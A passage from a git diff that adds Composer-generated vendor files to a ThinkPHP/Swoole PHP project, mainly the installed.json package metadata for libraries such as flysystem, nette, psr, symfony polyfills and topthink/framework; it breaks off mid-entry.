'think\\swoole\\websocket\\middleware\\SessionInit' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/middleware/SessionInit.php', + 'think\\swoole\\websocket\\room\\Redis' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/room/Redis.php', + 'think\\swoole\\websocket\\room\\Table' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/room/Table.php', + 'think\\swoole\\websocket\\socketio\\Controller' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Controller.php', + 'think\\swoole\\websocket\\socketio\\Handler' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Handler.php', + 'think\\swoole\\websocket\\socketio\\Packet' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Packet.php', + 'think\\swoole\\websocket\\socketio\\Parser' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Parser.php', + 'think\\template\\TagLib' => __DIR__ . '/..' . '/topthink/think-template/src/template/TagLib.php', + 'think\\template\\driver\\File' => __DIR__ . '/..' . '/topthink/think-template/src/template/driver/File.php', + 'think\\template\\exception\\TemplateNotFoundException' => __DIR__ . '/..' . '/topthink/think-template/src/template/exception/TemplateNotFoundException.php', + 'think\\template\\taglib\\Cx' => __DIR__ . '/..' . '/topthink/think-template/src/template/taglib/Cx.php', + 'think\\trace\\Console' => __DIR__ . '/..' . '/topthink/think-trace/src/Console.php', + 'think\\trace\\Html' => __DIR__ . '/..' . '/topthink/think-trace/src/Html.php', + 'think\\trace\\Service' => __DIR__ . '/..' . '/topthink/think-trace/src/Service.php', + 'think\\trace\\TraceDebug' => __DIR__ . '/..' . '/topthink/think-trace/src/TraceDebug.php', + 'think\\validate\\ValidateRule' => __DIR__ . '/..' . '/topthink/framework/src/think/validate/ValidateRule.php', + 'think\\view\\driver\\Php' => __DIR__ . '/..' . '/topthink/framework/src/think/view/driver/Php.php', + 'think\\view\\driver\\Think' => __DIR__ . '/..' . '/topthink/think-view/src/Think.php', + ); + + public static function getInitializer(ClassLoader $loader) + { + return \Closure::bind(function () use ($loader) { + $loader->prefixLengthsPsr4 = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$prefixLengthsPsr4; + $loader->prefixDirsPsr4 = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$prefixDirsPsr4; + $loader->fallbackDirsPsr0 = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$fallbackDirsPsr0; + $loader->classMap = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$classMap; + + }, null, ClassLoader::class); + } +} diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json new file mode 100644 index 0000000..c637e33 --- /dev/null +++ b/vendor/composer/installed.json @@ -0,0 +1,1698 @@ +{ + "packages": [ + { + "name": "league/flysystem", + "version": "1.1.3", + "version_normalized": "1.1.3.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem.git", + "reference": "9be3b16c877d477357c015cec057548cf9b2a14a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/9be3b16c877d477357c015cec057548cf9b2a14a", + "reference": "9be3b16c877d477357c015cec057548cf9b2a14a", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-fileinfo": "*", + "league/mime-type-detection": "^1.3", + "php": "^7.2.5 || ^8.0" + }, + "conflict": { + "league/flysystem-sftp": "<1.0.6" + }, + "require-dev": { + "phpspec/prophecy": "^1.11.1", + "phpunit/phpunit": "^8.5.8" + }, + "suggest": { + "ext-fileinfo": "Required for MimeType", + "ext-ftp": "Allows you to use FTP server storage", + "ext-openssl": "Allows you to use FTPS server storage", + "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", + "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", + "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", + "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", + "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", + "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", + "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", + "league/flysystem-webdav": "Allows you to use WebDAV storage", + "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", + "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", + "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" + }, + "time": "2020-08-23T07:39:11+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "League\\Flysystem\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frenky.net" + } + ], + "description": "Filesystem abstraction: Many filesystems, one API.", + "keywords": [ + "Cloud Files", + "WebDAV", + "abstraction", + "aws", + "cloud", + "copy.com", + "dropbox", + "file systems", + "files", + "filesystem", + "filesystems", + "ftp", + "rackspace", + "remote", + "s3", + "sftp", + "storage" + ], + "support": { + "issues": "https://github.com/thephpleague/flysystem/issues", + "source": "https://github.com/thephpleague/flysystem/tree/1.x" + }, + "funding": [ + { + "url": "https://offset.earth/frankdejonge", + "type": "other" + } + ], + "install-path": "../league/flysystem" + }, + { + "name": "league/flysystem-cached-adapter", + "version": "1.1.0", + "version_normalized": "1.1.0.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem-cached-adapter.git", + "reference": "d1925efb2207ac4be3ad0c40b8277175f99ffaff" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem-cached-adapter/zipball/d1925efb2207ac4be3ad0c40b8277175f99ffaff", + "reference": "d1925efb2207ac4be3ad0c40b8277175f99ffaff", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "league/flysystem": "~1.0", + "psr/cache": "^1.0.0" + }, + "require-dev": { + "mockery/mockery": "~0.9", + "phpspec/phpspec": "^3.4", + "phpunit/phpunit": "^5.7", + "predis/predis": "~1.0", + "tedivm/stash": "~0.12" + }, + "suggest": { + "ext-phpredis": "Pure C implemented extension for PHP" + }, + "time": "2020-07-25T15:56:04+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "League\\Flysystem\\Cached\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "frankdejonge", + "email": "info@frenky.net" + } + ], + "description": "An adapter decorator to enable meta-data caching.", + "support": { + "issues": "https://github.com/thephpleague/flysystem-cached-adapter/issues", + "source": "https://github.com/thephpleague/flysystem-cached-adapter/tree/master" + }, + "install-path": "../league/flysystem-cached-adapter" + }, + { + "name": "league/mime-type-detection", + "version": "1.5.1", + "version_normalized": "1.5.1.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/mime-type-detection.git", + "reference": "353f66d7555d8a90781f6f5e7091932f9a4250aa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/mime-type-detection/zipball/353f66d7555d8a90781f6f5e7091932f9a4250aa", + "reference": "353f66d7555d8a90781f6f5e7091932f9a4250aa", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-fileinfo": "*", + "php": "^7.2 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^0.12.36", + "phpunit/phpunit": "^8.5.8" + }, + "time": "2020-10-18T11:50:25+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "League\\MimeTypeDetection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "description": "Mime-type detection for Flysystem", + "support": { + "issues": "https://github.com/thephpleague/mime-type-detection/issues", + "source": "https://github.com/thephpleague/mime-type-detection/tree/1.5.1" + }, + "funding": [ + { + "url": "https://github.com/frankdejonge", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/league/flysystem", + "type": "tidelift" + } + ], + "install-path": "../league/mime-type-detection" + }, + { + "name": "nette/php-generator", + "version": "v3.4.1", + "version_normalized": "3.4.1.0", + "source": { + "type": "git", + "url": "https://github.com/nette/php-generator.git", + "reference": "7051954c534cebafd650efe8b145ac75b223cb66" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nette/php-generator/zipball/7051954c534cebafd650efe8b145ac75b223cb66", + "reference": "7051954c534cebafd650efe8b145ac75b223cb66", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "nette/utils": "^2.4.2 || ^3.0", + "php": ">=7.1" + }, + "require-dev": { + "nette/tester": "^2.0", + "nikic/php-parser": "^4.4", + "phpstan/phpstan": "^0.12", + "tracy/tracy": "^2.3" + }, + "suggest": { + "nikic/php-parser": "to use ClassType::withBodiesFrom() & GlobalFunction::withBodyFrom()" + }, + "time": "2020-06-19T14:31:47+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.4-dev" + } + }, + "installation-source": "dist", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause", + "GPL-2.0-only", + "GPL-3.0-only" + ], + "authors": [ + { + "name": "David Grudl", + "homepage": "https://davidgrudl.com" + }, + { + "name": "Nette Community", + "homepage": "https://nette.org/contributors" + } + ], + "description": "🐘 Nette PHP Generator: generates neat PHP code for you. Supports new PHP 7.4 features.", + "homepage": "https://nette.org", + "keywords": [ + "code", + "nette", + "php", + "scaffolding" + ], + "support": { + "issues": "https://github.com/nette/php-generator/issues", + "source": "https://github.com/nette/php-generator/tree/master" + }, + "install-path": "../nette/php-generator" + }, + { + "name": "nette/utils", + "version": "v3.1.3", + "version_normalized": "3.1.3.0", + "source": { + "type": "git", + "url": "https://github.com/nette/utils.git", + "reference": "c09937fbb24987b2a41c6022ebe84f4f1b8eec0f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nette/utils/zipball/c09937fbb24987b2a41c6022ebe84f4f1b8eec0f", + "reference": "c09937fbb24987b2a41c6022ebe84f4f1b8eec0f", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "nette/tester": "~2.0", + "phpstan/phpstan": "^0.12", + "tracy/tracy": "^2.3" + }, + "suggest": { + "ext-gd": "to use Image", + "ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()", + "ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()", + "ext-json": "to use Nette\\Utils\\Json", + "ext-mbstring": "to use Strings::lower() etc...", + "ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()", + "ext-xml": "to use Strings::length() etc. when mbstring is not available" + }, + "time": "2020-08-07T10:34:21+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1-dev" + } + }, + "installation-source": "dist", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause", + "GPL-2.0-only", + "GPL-3.0-only" + ], + "authors": [ + { + "name": "David Grudl", + "homepage": "https://davidgrudl.com" + }, + { + "name": "Nette Community", + "homepage": "https://nette.org/contributors" + } + ], + "description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.", + "homepage": "https://nette.org", + "keywords": [ + "array", + "core", + "datetime", + "images", + "json", + "nette", + "paginator", + "password", + "slugify", + "string", + "unicode", + "utf-8", + "utility", + "validation" + ], + "support": { + "issues": "https://github.com/nette/utils/issues", + "source": "https://github.com/nette/utils/tree/v3.1.3" + }, + "install-path": "../nette/utils" + }, + { + "name": "open-smf/connection-pool", + "version": "v1.0.15", + "version_normalized": "1.0.15.0", + "source": { + "type": "git", + "url": "https://github.com/open-smf/connection-pool.git", + "reference": "f9289cb5ee61d3e901bc74ab745e5b2162461a1e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/open-smf/connection-pool/zipball/f9289cb5ee61d3e901bc74ab745e5b2162461a1e", + "reference": "f9289cb5ee61d3e901bc74ab745e5b2162461a1e", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-swoole": ">=4.2.9", + "php": ">=7.0.0" + }, + "require-dev": { + "swoole/ide-helper": "@dev" + }, + "suggest": { + "ext-redis": "A PHP extension for Redis." + }, + "time": "2020-05-29T05:20:59+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Smf\\ConnectionPool\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Xie Biao", + "email": "hhxsv5@sina.com" + } + ], + "description": "A common connection pool based on Swoole is usually used as the database connection pool.", + "homepage": "https://github.com/open-smf/connection-pool", + "keywords": [ + "connection-pool", + "database-connection-pool", + "swoole" + ], + "support": { + "issues": "https://github.com/open-smf/connection-pool/issues", + "source": "https://github.com/open-smf/connection-pool" + }, + "install-path": "../open-smf/connection-pool" + }, + { + "name": "psr/cache", + "version": "1.0.1", + "version_normalized": "1.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/cache.git", + "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/cache/zipball/d11b50ad223250cf17b86e38383413f5a6764bf8", + "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2016-08-06T20:24:11+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Cache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for caching libraries", + "keywords": [ + "cache", + "psr", + "psr-6" + ], + "install-path": "../psr/cache" + }, + { + "name": "psr/container", + "version": "1.0.0", + "version_normalized": "1.0.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2017-02-14T16:28:37+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "install-path": "../psr/container" + }, + { + "name": "psr/log", + "version": "1.1.3", + "version_normalized": "1.1.3.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc", + "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2020-03-23T09:12:05+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "install-path": "../psr/log" + }, + { + "name": "psr/simple-cache", + "version": "1.0.1", + "version_normalized": "1.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2017-10-23T01:57:42+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ], + "install-path": "../psr/simple-cache" + }, + { + "name": "swoole/ide-helper", + "version": "4.5.6", + "version_normalized": "4.5.6.0", + "source": { + "type": "git", + "url": "https://github.com/swoole/ide-helper.git", + "reference": "ab23c2c35880144a6060a3f178a68af0d0c6fc93" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/swoole/ide-helper/zipball/ab23c2c35880144a6060a3f178a68af0d0c6fc93", + "reference": "ab23c2c35880144a6060a3f178a68af0d0c6fc93", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require-dev": { + "guzzlehttp/guzzle": "~6.5.0", + "laminas/laminas-code": "~3.4.0", + "squizlabs/php_codesniffer": "~3.5.0", + "symfony/filesystem": "~4.0" + }, + "time": "2020-10-27T16:11:26+00:00", + "type": "library", + "installation-source": "dist", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Team Swoole", + "email": "team@swoole.com" + } + ], + "description": "IDE help files for Swoole.", + "support": { + "issues": "https://github.com/swoole/ide-helper/issues", + "source": "https://github.com/swoole/ide-helper/tree/4.5.6" + }, + "install-path": "../swoole/ide-helper" + }, + { + "name": "symfony/finder", + "version": "v4.4.16", + "version_normalized": "4.4.16.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "26f63b8d4e92f2eecd90f6791a563ebb001abe31" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/26f63b8d4e92f2eecd90f6791a563ebb001abe31", + "reference": "26f63b8d4e92f2eecd90f6791a563ebb001abe31", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.3" + }, + "time": "2020-10-24T11:50:19+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony Finder Component", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v4.4.16" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "install-path": "../symfony/finder" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.20.0", + "version_normalized": "1.20.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "39d483bdf39be819deabf04ec872eb0b2410b531" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531", + "reference": "39d483bdf39be819deabf04ec872eb0b2410b531", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "time": "2020-10-23T14:02:19+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.20-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + }, + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "install-path": "../symfony/polyfill-mbstring" + }, + { + "name": "symfony/polyfill-php72", + "version": "v1.20.0", + "version_normalized": "1.20.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php72.git", + "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930", + "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "time": "2020-10-23T14:02:19+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.20-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Php72\\": "" + }, + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "install-path": "../symfony/polyfill-php72" + }, + { + "name": "symfony/polyfill-php80", + "version": "v1.20.0", + "version_normalized": "1.20.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php80.git", + "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de", + "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "time": "2020-10-23T14:02:19+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.20-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Php80\\": "" + }, + "files": [ + "bootstrap.php" + ], + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "install-path": "../symfony/polyfill-php80" + }, + { + "name": "symfony/var-dumper", + "version": "v4.4.16", + "version_normalized": "4.4.16.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-dumper.git", + "reference": "3718e18b68d955348ad860e505991802c09f5f73" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/3718e18b68d955348ad860e505991802c09f5f73", + "reference": "3718e18b68d955348ad860e505991802c09f5f73", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php72": "~1.5", + "symfony/polyfill-php80": "^1.15" + }, + "conflict": { + "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0", + "symfony/console": "<3.4" + }, + "require-dev": { + "ext-iconv": "*", + "symfony/console": "^3.4|^4.0|^5.0", + "symfony/process": "^4.4|^5.0", + "twig/twig": "^1.34|^2.4|^3.0" + }, + "suggest": { + "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", + "ext-intl": "To show region name in time zone dump", + "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" + }, + "time": "2020-10-26T20:47:51+00:00", + "bin": [ + "Resources/bin/var-dump-server" + ], + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "Resources/functions/dump.php" + ], + "psr-4": { + "Symfony\\Component\\VarDumper\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony mechanism for exploring and dumping PHP variables", + "homepage": "https://symfony.com", + "keywords": [ + "debug", + "dump" + ], + "support": { + "source": "https://github.com/symfony/var-dumper/tree/v4.4.16" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "install-path": "../symfony/var-dumper" + }, + { + "name": "topthink/framework", + "version": "v6.0.5", + "version_normalized": "6.0.5.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/framework.git", + "reference": "85625d984f5c96699dc27d384869f206c3aec1cc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/framework/zipball/85625d984f5c96699dc27d384869f206c3aec1cc", + "reference": "85625d984f5c96699dc27d384869f206c3aec1cc", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-mbstring": "*", + "league/flysystem": "^1.0", + "league/flysystem-cached-adapter": "^1.0", + "php": ">=7.1.0", + "psr/container": "~1.0", + "psr/log": "~1.0", + "psr/simple-cache": "^1.0", + "topthink/think-helper": "^3.1.1", + "topthink/think-orm": "^2.0" + }, + "require-dev": { + "mikey179/vfsstream": "^1.6", + "mockery/mockery": "^1.2", + "phpunit/phpunit": "^7.0" + }, + "time": "2020-10-26T07:18:00+00:00", + "type": "library", + "installation-source": 